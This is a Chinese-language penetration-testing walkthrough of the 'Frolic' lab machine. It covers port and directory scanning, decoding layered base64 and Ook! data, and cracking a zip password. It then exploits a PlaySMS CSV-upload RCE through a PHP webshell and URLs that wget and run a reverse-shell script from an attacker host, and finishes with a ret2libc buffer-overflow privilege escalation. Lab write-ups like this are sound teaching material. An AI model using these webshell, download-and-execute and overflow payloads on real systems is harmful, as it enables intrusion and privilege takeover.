[Meachines] [Easy] Frolic zip密码爆破+Ook!密文解密+Play-SMS-Upload-RCE+BOF缓冲区溢出-ROP链权限提升
字数 1075 2025-08-20 18:18:40

Frolic靶机渗透测试教学文档

1. 信息收集阶段

1.1 端口扫描

使用nmap进行全端口扫描:

nmap -p- 10.10.10.111 --min-rate 1000 -sC -sV

发现开放端口:

  • 22/tcp - OpenSSH 7.2p2 Ubuntu
  • 139/tcp - Samba smbd 3.X - 4.X
  • 445/tcp - Samba smbd 4.3.11-Ubuntu
  • 1880/tcp - Node.js (Express middleware)
  • 9999/tcp - nginx 1.10.3 (Ubuntu)

1.2 Web目录扫描

使用gobuster扫描web目录:

gobuster dir -u "http://10.10.10.111:9999" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x txt,php -b 404,403 -t 50

发现关键路径:

  • /admin/success.html - 包含Ook!密文
  • /asdiSIAJJ0QWE9JAS/ - 可疑路径

2. 初始访问

2.1 Ook!密文解密

  1. 访问/admin/success.html发现提示"Nothing here check /asdiSIAJJ0QWE9JAS"
  2. 访问该路径获取base64编码数据
  3. 解码base64数据:
echo "UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwABBAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbsK1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmveEMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTjlurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkCAAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBPAAAAAwEAAAAA" | base64 -d > out
  1. 使用binwalk分析文件:
binwalk out
  1. 发现是zip文件,使用zip2john和john爆破密码:
unzip out
zip2john out > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
  1. 解压后得到index.php文件,包含另一段编码数据:
echo "4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a" | xxd -r -p
  1. 解码后得到另一段base64:
echo "KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwrKysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysgK1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0tLS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==" | base64 -d
  1. 最终解密得到Ook!语言代码,可使用在线工具解密

3. Play-SMS漏洞利用

3.1 发现Play-SMS

通过目录扫描发现:

gobuster dir -u "http://10.10.10.111:9999/dev/" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x txt,php -b 404,403 -t 50

访问路径:

http://10.10.10.111:9999/playsms/index.php?app=main&inc=core_auth&route=login

发现PlaySMS 1.4版本,已知存在RCE漏洞(CVE-2017-9101)

3.2 利用PlaySMS上传漏洞

  1. 构造恶意CSV文件:
Name,Mobile,Email,Group code,Tags<?php system($_GET[1]); ?>,x,,,
  1. 上传CSV文件:
http://10.10.10.111:9999/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=list
  1. 执行命令:
http://10.10.10.111:9999/playsms/index.php?1=ls&app=main&inc=feature_phonebook&op=phonebook_list
  1. 获取反向shell:
# 下载reverse.sh
http://10.10.10.111:9999/playsms/index.php?1=cd%20/dev/shm;wget%20http://10.10.16.14/reverse.sh&app=main&inc=feature_phonebook&op=phonebook_list

# 添加执行权限
http://10.10.10.111:9999/playsms/index.php?1=chmod%20%2Bx%20/dev/shm/reverse.sh;ls%20-la%20/dev/shm&app=main&inc=feature_phonebook&op=phonebook_list

# 执行
http://10.10.10.111:9999/playsms/index.php?1=/dev/shm/reverse.sh&app=main&inc=feature_phonebook&op=phonebook_list

4. 权限提升

4.1 发现SUID二进制文件

/home/ayush/.binary/目录下发现rop二进制文件,具有SUID权限

4.2 缓冲区溢出分析

  1. 检查ASLR状态:
cat /proc/sys/kernel/randomize_va_space
# 发现ASLR关闭(值为0)
  1. 使用gdb分析:
gdb -q ./rop
  1. 创建模式字符串:
pattern_create 1000
  1. 运行程序并确定溢出点:
run 'A......'
pattern_offset 0x41474141
# 发现缓冲区溢出大小为52字节

4.3 ROP链构造

  1. 检查程序依赖库:
ldd rop
# 发现libc.so.6基地址为0xb7e19000
  1. 查找关键函数和字符串偏移:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " system@"
# system偏移:0x0003ada0

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " exit@"
# exit偏移:0x0002e9d0

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
# /bin/sh偏移:0x15ba0b
  1. 计算实际内存地址:
system: 0xb7e19000 + 0x0003ada0 = 0xB7E53DA0
exit: 0xb7e19000 + 0x0002e9d0 = 0xB7E479D0
/bin/sh: 0xb7e19000 + 0x15ba0b = 0xB7F74A0B
  1. 构造ROP链:
BUFF(52字节) + SYSTEM地址 + EXIT地址 + /bin/sh地址
  1. 执行ROP攻击:
./rop $(python2 -c 'print("A"*52 + "\xA0\x3D\xE5\xB7" + "\xD0\x79\xE4\xB7" + "\x0B\x4A\xF7\xB7")')

5. 总结

本渗透测试过程涉及:

  1. 信息收集与端口扫描
  2. 编码数据解密(多层base64和Ook!语言)
  3. PlaySMS漏洞利用(CVE-2017-9101)
  4. 缓冲区溢出与ROP链构造
  5. 利用SUID二进制文件进行权限提升

关键点:

  • 多层编码数据的识别与解密
  • PlaySMS的CSV上传漏洞利用
  • 在ASLR关闭环境下构造ROP链
  • 利用libc中的函数和字符串地址绕过DEP保护
Frolic靶机渗透测试教学文档 1. 信息收集阶段 1.1 端口扫描 使用nmap进行全端口扫描: 发现开放端口: 22/tcp - OpenSSH 7.2p2 Ubuntu 139/tcp - Samba smbd 3.X - 4.X 445/tcp - Samba smbd 4.3.11-Ubuntu 1880/tcp - Node.js (Express middleware) 9999/tcp - nginx 1.10.3 (Ubuntu) 1.2 Web目录扫描 使用gobuster扫描web目录: 发现关键路径: /admin/success.html - 包含Ook !密文 /asdiSIAJJ0QWE9JAS/ - 可疑路径 2. 初始访问 2.1 Ook !密文解密 访问 /admin/success.html 发现提示"Nothing here check /asdiSIAJJ0QWE9JAS" 访问该路径获取base64编码数据 解码base64数据: 使用binwalk分析文件: 发现是zip文件,使用zip2john和john爆破密码: 解压后得到index.php文件,包含另一段编码数据: 解码后得到另一段base64: 最终解密得到Ook !语言代码,可使用在线工具解密 3. Play-SMS漏洞利用 3.1 发现Play-SMS 通过目录扫描发现: 访问路径: 发现PlaySMS 1.4版本,已知存在RCE漏洞(CVE-2017-9101) 3.2 利用PlaySMS上传漏洞 构造恶意CSV文件: 上传CSV文件: 执行命令: 获取反向shell: 4. 权限提升 4.1 发现SUID二进制文件 在 /home/ayush/.binary/ 目录下发现rop二进制文件,具有SUID权限 4.2 缓冲区溢出分析 检查ASLR状态: 使用gdb分析: 创建模式字符串: 运行程序并确定溢出点: 4.3 ROP链构造 检查程序依赖库: 查找关键函数和字符串偏移: 计算实际内存地址: 构造ROP链: 执行ROP攻击: 5. 总结 本渗透测试过程涉及: 信息收集与端口扫描 编码数据解密(多层base64和Ook !语言) PlaySMS漏洞利用(CVE-2017-9101) 缓冲区溢出与ROP链构造 利用SUID二进制文件进行权限提升 关键点: 多层编码数据的识别与解密 PlaySMS的CSV上传漏洞利用 在ASLR关闭环境下构造ROP链 利用libc中的函数和字符串地址绕过DEP保护